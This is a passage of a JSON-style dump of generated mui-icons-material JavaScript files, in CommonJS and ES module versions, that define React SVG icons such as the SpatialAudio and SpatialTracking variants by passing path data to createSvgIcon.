    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19V5h6v14zm14 0h-6v-7h6zm0-9h-6V5h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 19V5h6v14zm14 0h-6v-7h6zm0-9h-6V5h6z\"\n}, \"1\")], 'SpaceDashboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudio.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 1h-2c0 4.97 4.03 9 9 9V8c-3.86 0-7-3.14-7-7\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1h-2c0 2.76 2.24 5 5 5V4c-1.65 0-3-1.35-3-3\"\n}, \"2\")], 'SpatialAudio');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudio.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 1h-2c0 4.97 4.03 9 9 9V8c-3.86 0-7-3.14-7-7\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1h-2c0 2.76 2.24 5 5 5V4c-1.65 0-3-1.35-3-3\"\n}, \"2\")], 'SpatialAudio');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M20.36 1l-1.41 1.41c2.73 2.73 2.73 7.17 0 9.9l1.41 1.41c3.52-3.51 3.52-9.21 0-12.72\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.54 10.9c1.95-1.95 1.95-5.12 0-7.07l-1.41 1.41c1.17 1.17 1.17 3.07 0 4.24z\"\n}, \"2\")], 'SpatialAudioOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M20.36 1l-1.41 1.41c2.73 2.73 2.73 7.17 0 9.9l1.41 1.41c3.52-3.51 3.52-9.21 0-12.72\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.54 10.9c1.95-1.95 1.95-5.12 0-7.07l-1.41 1.41c1.17 1.17 1.17 3.07 0 4.24z\"\n}, \"2\")], 'SpatialAudioOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm4.36-18-1.41 1.41c2.73 2.73 2.73 7.17 0 9.9l1.41 1.41c3.52-3.51 3.52-9.21 0-12.72\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.54 10.9c1.95-1.95 1.95-5.12 0-7.07l-1.41 1.41c1.17 1.17 1.17 3.07 0 4.24z\"\n}, \"1\")], 'SpatialAudioOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm4.36-18-1.41 1.41c2.73 2.73 2.73 7.17 0 9.9l1.41 1.41c3.52-3.51 3.52-9.21 0-12.72\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.54 10.9c1.95-1.95 1.95-5.12 0-7.07l-1.41 1.41c1.17 1.17 1.17 3.07 0 4.24z\"\n}, \"1\")], 'SpatialAudioOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-.78c0-1.12-.61-2.15-1.61-2.66m4.72-13.71c-.37-.48-1.08-.52-1.5-.09-.35.35-.39.91-.09 1.3 1.17 1.5 2.64 5.23 0 8.61-.3.39-.26.95.09 1.3.43.43 1.13.38 1.5-.09 1.5-1.93 3.35-6.72 0-11.03m-2.8 2.99c-.33-.57-1.11-.67-1.58-.21-.33.33-.36.84-.13 1.25.25.44.74 1.69-.01 2.99-.23.4-.19.9.14 1.22.47.47 1.25.35 1.58-.22 1.16-1.99.58-4.02 0-5.03\"\n}, \"1\")], 'SpatialAudioOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V19c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-.78c0-1.12-.61-2.15-1.61-2.66m4.72-13.71c-.37-.48-1.08-.52-1.5-.09-.35.35-.39.91-.09 1.3 1.17 1.5 2.64 5.23 0 8.61-.3.39-.26.95.09 1.3.43.43 1.13.38 1.5-.09 1.5-1.93 3.35-6.72 0-11.03m-2.8 2.99c-.33-.57-1.11-.67-1.58-.21-.33.33-.36.84-.13 1.25.25.44.74 1.69-.01 2.99-.23.4-.19.9.14 1.22.47.47 1.25.35 1.58-.22 1.16-1.99.58-4.02 0-5.03\"\n}, \"1\")], 'SpatialAudioOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M20.36 1l-1.41 1.41c2.73 2.73 2.73 7.17 0 9.9l1.41 1.41c3.52-3.51 3.52-9.21 0-12.72\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.54 10.9c1.95-1.95 1.95-5.12 0-7.07l-1.41 1.41c1.17 1.17 1.17 3.07 0 4.24z\"\n}, \"2\")], 'SpatialAudioOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M20.36 1l-1.41 1.41c2.73 2.73 2.73 7.17 0 9.9l1.41 1.41c3.52-3.51 3.52-9.21 0-12.72\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.54 10.9c1.95-1.95 1.95-5.12 0-7.07l-1.41 1.41c1.17 1.17 1.17 3.07 0 4.24z\"\n}, \"2\")], 'SpatialAudioOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.48 17.34C14.29 16.73 12.37 16 10 16s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V19h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm4.36-18-1.41 1.41c2.73 2.73 2.73 7.17 0 9.9l1.41 1.41c3.52-3.51 3.52-9.21 0-12.72\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.54 10.9c1.95-1.95 1.95-5.12 0-7.07l-1.41 1.41c1.17 1.17 1.17 3.07 0 4.24z\"\n}, \"3\")], 'SpatialAudioOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.48 17.34C14.29 16.73 12.37 16 10 16s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V19h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm4.36-18-1.41 1.41c2.73 2.73 2.73 7.17 0 9.9l1.41 1.41c3.52-3.51 3.52-9.21 0-12.72\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.54 10.9c1.95-1.95 1.95-5.12 0-7.07l-1.41 1.41c1.17 1.17 1.17 3.07 0 4.24z\"\n}, \"3\")], 'SpatialAudioOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm0-18h-2c0 4.97 4.03 9 9 9V8c-3.86 0-7-3.14-7-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1h-2c0 2.76 2.24 5 5 5V4c-1.65 0-3-1.35-3-3\"\n}, \"1\")], 'SpatialAudioOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm0-18h-2c0 4.97 4.03 9 9 9V8c-3.86 0-7-3.14-7-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1h-2c0 2.76 2.24 5 5 5V4c-1.65 0-3-1.35-3-3\"\n}, \"1\")], 'SpatialAudioOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.11 7.95c-1.89-.23-5.57-1.83-6.09-6.09-.06-.5-.48-.86-.98-.86-.6 0-1.07.53-1 1.13.31 2.43 2.38 7.12 7.8 7.8.6.08 1.13-.4 1.13-1 0-.5-.37-.92-.86-.98m-.4-2.12c.64.17 1.26-.31 1.26-.97 0-.47-.34-.85-.79-.97-.49-.14-1.72-.68-2.11-2.13-.12-.44-.5-.76-.96-.76h-.01c-.66 0-1.14.64-.96 1.28.6 2.22 2.44 3.25 3.57 3.55\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}, \"2\")], 'SpatialAudioRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.11 7.95c-1.89-.23-5.57-1.83-6.09-6.09-.06-.5-.48-.86-.98-.86-.6 0-1.07.53-1 1.13.31 2.43 2.38 7.12 7.8 7.8.6.08 1.13-.4 1.13-1 0-.5-.37-.92-.86-.98m-.4-2.12c.64.17 1.26-.31 1.26-.97 0-.47-.34-.85-.79-.97-.49-.14-1.72-.68-2.11-2.13-.12-.44-.5-.76-.96-.76h-.01c-.66 0-1.14.64-.96 1.28.6 2.22 2.44 3.25 3.57 3.55\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}, \"2\")], 'SpatialAudioRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 1h-2c0 4.97 4.03 9 9 9V8c-3.86 0-7-3.14-7-7\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1h-2c0 2.76 2.24 5 5 5V4c-1.65 0-3-1.35-3-3\"\n}, \"2\")], 'SpatialAudioSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 1h-2c0 4.97 4.03 9 9 9V8c-3.86 0-7-3.14-7-7\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1h-2c0 2.76 2.24 5 5 5V4c-1.65 0-3-1.35-3-3\"\n}, \"2\")], 'SpatialAudioSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.48 17.34C14.29 16.73 12.37 16 10 16s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V19h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm0-18h-2c0 4.97 4.03 9 9 9V8c-3.86 0-7-3.14-7-7\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1h-2c0 2.76 2.24 5 5 5V4c-1.65 0-3-1.35-3-3\"\n}, \"3\")], 'SpatialAudioTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialAudioTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.48 17.34C14.29 16.73 12.37 16 10 16s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V19h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm0-18h-2c0 4.97 4.03 9 9 9V8c-3.86 0-7-3.14-7-7\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1h-2c0 2.76 2.24 5 5 5V4c-1.65 0-3-1.35-3-3\"\n}, \"3\")], 'SpatialAudioTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTracking.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66m3.66-13.15L18.64 1c-3.51 3.51-3.51 9.21 0 12.73l1.41-1.41c-2.73-2.74-2.73-7.18 0-9.91\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.88 5.24-1.41-1.41c-1.95 1.95-1.95 5.12 0 7.07l1.41-1.41c-1.17-1.17-1.17-3.08 0-4.25\"\n}, \"2\")], 'SpatialTracking');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTracking.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66m3.66-13.15L18.64 1c-3.51 3.51-3.51 9.21 0 12.73l1.41-1.41c-2.73-2.74-2.73-7.18 0-9.91\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.88 5.24-1.41-1.41c-1.95 1.95-1.95 5.12 0 7.07l1.41-1.41c-1.17-1.17-1.17-3.08 0-4.25\"\n}, \"2\")], 'SpatialTracking');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTrackingOutlined.js",
